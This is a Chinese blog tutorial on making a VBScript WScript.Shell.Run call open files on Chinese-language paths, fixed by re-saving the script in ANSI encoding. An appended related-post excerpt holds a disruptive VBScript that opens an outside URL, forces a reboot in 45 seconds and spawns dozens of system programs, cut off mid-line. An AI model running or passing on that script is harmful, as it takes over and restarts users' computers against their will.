vbs文件CreateObject("WScript.Shell")找不到中文路径的解决办法

2 篇文章 0 订阅
2 篇文章 0 订阅

问题出现

今天刚好有一个需求,就是想要用vbs在后台帮我静默启动一个软件,并让这个软件最小化.于是请教了以为大神朋友, 他给我发了下面的代码:

CreateObject("WScript.Shell").Run """C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe""",2

还特别叮嘱我路径两边的三个双引号一个都不能少,垃圾VBS要用2个双引号来给一个双引号转义,哈哈在这里插入图片描述这段代码的意思是启动微软的Edge浏览器并最小化,代码最后面的参数作用如下

0     后台
1     普通
2     最小化
3     最大化

可是我发现我的电脑里面并没有Edge浏览器, 于是就在桌面新建了一个1.txt的文件来试试,
上代码:

CreateObject("WScript.Shell").Run """C:\Users\11570\Desktop\1.txt""",2 

双击运行vbs文件后确实在桌面底部的任务栏开到了最小化的记事本
在这里插入图片描述
说明大神发过来的代码有效! 谢谢大神!!!

然后我兴高采烈的先用这段代码来打开我的软件(软件名称带有中文), 路径上有中文,运行的时候一直会报错如下:
在这里插入图片描述
系统找不到指定的文件,
这里我新建一个中文.txt给大家讲解一下
在这里插入图片描述
然后代码是:

CreateObject("WScript.Shell").Run """C:\Users\11570\Desktop\中文.txt""",2

我是用 VScode 编写的vbs文件
在这里插入图片描述
然后它就是一直报错
在这里插入图片描述

尝试解决

我想到了由 中文导致的问题99%是编码的问题
于是我尝试在VScode里面修改编码格式
在这里插入图片描述
首先我尝试了GBK
在这里插入图片描述
发现没用
接着我把GB18030 和GB2312都尝试了一遍还是不行.

只能再求救大神了

解决办法

在这里插入图片描述
在这里插入图片描述
额…

第1步:把文件名改成txt

在这里插入图片描述
至于怎么显示后缀,移步百度经验-怎么显示电脑里面的文件后缀

第2步:打开txt

在这里插入图片描述
我们看到现在是编码是UTF-8,那怎么改编码呢

第3步:点击文件

在这里插入图片描述

第4步:点击另存为

在这里插入图片描述

第5步:点击编码

在这里插入图片描述

第6步:将编码更改成ANSI

在这里插入图片描述

第7步:点击保存

在这里插入图片描述

第8步:点击覆盖

在这里插入图片描述
这个时候打开该文件能看到编码已经变化ANSI了

在这里插入图片描述

第9步:将后缀改回.vbs

在这里插入图片描述

第10步:双击运行

双击test.vbs后
在这里插入图片描述
我们成功的打开了中文.txt文件

总结

vbs的CreateObject("WScript.Shell").Run功能找不到中文路径是因为不同的编码格式造成的,只需用记事本的另存为功能将文件编码改成ANSI即可解决.

如果觉得本文有帮到您, 就请 评论个赞 呗!

  • 23
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 6
    评论
电脑打开之后,电脑失控,强行运行系统软件,45秒后自动重启。 Set Seven = WScript.CreateObject("WScript.Shell") strDesktop = Seven.SpecialFolders("AllUsersDesktop") set oShellLink = Seven.CreateShortcut(strDesktop & "\ZhuYiai.url") oShellLink.TargetPath = "https://www.telerik.com/fiddler" oShellLink.Save Sub ak47 Dim oShell Set oShell = WScript.CreateObject ("WSCript.shell") oShell.run "http://hackcode.ishoulu.com/scp/ " Set oShell = Nothing seven.Run "shutdown.exe -r -t 45" seven.Run "cmd.exe" seven.Run "cmd.exe" seven.Run "cmd.exe" seven.Run "iexpress.exe" seven.Run "iexpress.exe" seven.Run "iexpress.exe" seven.Run "iexpress.exe" seven.Run "cmd.exe" seven.Run "cmd.exe" seven.Run "cmd.exe" seven.Run "iexpress.exe" seven.Run "iexpress.exe" seven.Run "iexpress.exe" seven.Run "iexpress.exe" seven.Run "iexpress.exe" seven.Run "mstsc.exe" seven.Run "mstsc.exe" seven.Run "mstsc.exe" seven.Run "mstsc.exe" seven.Run "mstsc.exe" seven.Run "mstsc.exe" seven.Run "mstsc.exe" seven.Run "mstsc.exe" seven.Run "mstsc.exe" seven.Run "mstsc.exe" seven.Run "msdt.exe" seven.Run "msdt.exe" seven.Run "msdt.exe" seven.Run "msdt.exe" seven.Run "msdt.exe" seven.Run "cmd.exe" seven.Run "cmd.exe" seven.Run "cmd.exe" seven.Run "msdt.exe" seven.Run "msdt.exe" seven.Run "msdt.exe" seven.Run "msdt.exe" seven.Run "msdt.exe" seven.Run "perfmon.exe" seven.Run "perfmon.exe" seven.Run "perfmon.exe" seven.Run "perfmon.exe" seven.Run "perfmon.exe" seven.Run "perfmon.exe" seven.Run "perfmon.exe" seven.Run "perfmon.exe" seven.Run "perfmon.exe" seven.Run "perfmon.exe" seven.Run "sigverif.exe" seven.Run "sigverif.exe" seven.Run "sigverif.exe" seven.Run "sigverif.exe" seven.Run "sigverif.exe" seven.Run "cmd.exe" seven.Run "cmd.exe" seven.Run "cmd.exe" seven.Run "sigverif.exe" seven.Run "sigverif.exe" seven.Run "sigverif.exe" seven.Run "sigverif.exe" seven.Run "sigverif.exe" seven.Run "iexpress.exe" seven.Run "iexpress.exe" seven.Run "iexpress.exe" seven.Run "iexpress.exe" seven.Run "iexpress.exe" seven.Run "cmd.exe" seven.Run "cmd.exe" seven.Run "cmd.exe" seven.Run "iexpress.exe" seven.Run "iexpress.exe" seven.Run "iexpress.exe" seven.Run "iexpress.exe" seven.Run "mstsc.exe" seven.Run "mstsc.exe" seven.Run "mstsc.exe" seven.Run "mstsc.exe" seven.Run "mstsc.exe" seven.Run "cmd.exe" seven.Run "cmd.exe" seven.Run "cmd.exe" seven.Run "mstsc.exe" seven.Run "mstsc.exe" seven.Run "mstsc.exe" seven.Run "mstsc.exe" seven.Run "mstsc.exe" seven.Run "msdt.exe" seven.Run "msdt.exe" seven.Run "msdt.exe" seven.Run "msdt.exe" seven.Run "msdt.exe" seven.Run "msdt.exe" seven.Run "msdt.exe" seven.Run "cmd.exe" seven.Run "cmd.exe" seven.Run "cmd.exe" seven.Run "msdt.exe" seven.Run "msdt.exe" seven.Run "msdt.exe" seven.Run "perfmon.exe" seven.Run "perfmon.exe" seven.Run "perfmon.exe" seven.Run "perfmon.exe" seven.Run "perfmon.exe" seven.Run "perfmon.exe" seven.Run "cmd.exe" seven.Run "cmd.exe" seven.Run "cmd.exe" seven.Run "perfmon.exe" seven.Run "perfmon.exe" seven.Run "perfmon.exe" seven.Run "perfmon.exe" seven.Run "sigverif.exe" seven.Run "sigverif.exe" seven.Run "sigverif.exe" seven.Run "sigverif.exe" seven.Run "sigverif.exe" seven.Run "sigverif.exe" seven.Run "sigverif.exe" seven.Run "sigverif.exe" seven.Run "sigverif.exe" seven.Run "sigverif.exe" seven.Run "iexpress.exe" seven.Run "iexpress.exe" seven.Run "iexpress.exe" seven.Run "iexpress.exe" seven.Run "iexpress.exe" seven.Run "iexpress.exe" seven.Run "iexpress.exe" seven.Run "cmd.exe" seven.Run "cmd.exe" seven.Run "cmd.exe" seven.Run "iexpress.exe" seven.Run "iexpress.exe" seven.Run "mstsc.exe" seven.Run "mstsc.exe" seven.Run "mstsc.exe" seven.Run "mstsc.exe" seven.Run "mstsc.exe" seven.Run "mstsc.exe" seven.Run "mstsc.exe" seven.Run "mstsc.exe" seven.Run "mstsc.exe" seven.Run "mstsc.exe" seven.Run "msdt.exe" seven.Run "msdt.exe" seven.Run "msdt.exe" seven.Run "msdt.exe" seven.Run "msdt.exe" seven.Run "msdt.exe" seven.Run "msdt.exe" seven.Run "msdt.exe" seven.Run "msdt.exe" seven.Run "msdt.exe" seven.Run "perfmon.exe" seven.Run "perfmon.exe" seven.Run "perfmon.exe" seven.Run "perfmon.exe" seven.Run "perfmon.exe" seven.Run "perfmon.exe" seven.Run "perfmon.exe" seven.Run "perfmon.exe" seven.Run "perfmon.exe" seven.Run "perfmon.exe" seven.Run "sigverif.exe" seven.Run "sigverif.exe" seven.Run "sigverif.exe" seven.Run "sigverif.exe" seven.Run "sigverif.exe" seven.Run "sigverif.exe" seven.Run "sigverif.exe" seven.Run "sigverif.exe" seven.Run "sigverif.exe" seven.Run "sigverif.exe" seven.Run "iexpress.exe" seven.Run "iexpress.exe" seven.Run "iexpress.exe" seven.Run "iexpress.exe" seven.Run "iexpress.exe" seven.Run "iexpress.exe" seven.Run "iexpress.exe" seven.Run "iexpress.exe" seven.Run "iexpress.exe" seven.Run "mstsc.exe" seven.Run "mstsc.exe" seven.Run "mstsc.exe" seven.Run "mstsc.exe" seven.Run "mstsc.exe" seven.Run "mstsc.exe" seven.Run "mstsc.exe" seven.Run "mstsc.exe" seven.Run "mstsc.exe" seven.Run "mstsc.exe" seven.Run "msdt.exe" seven.Run "msdt.exe" seven.Run "msdt.exe" seven.Run "msdt.exe" seven.Run "msdt.exe" seven.Run "msdt.exe" sev

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值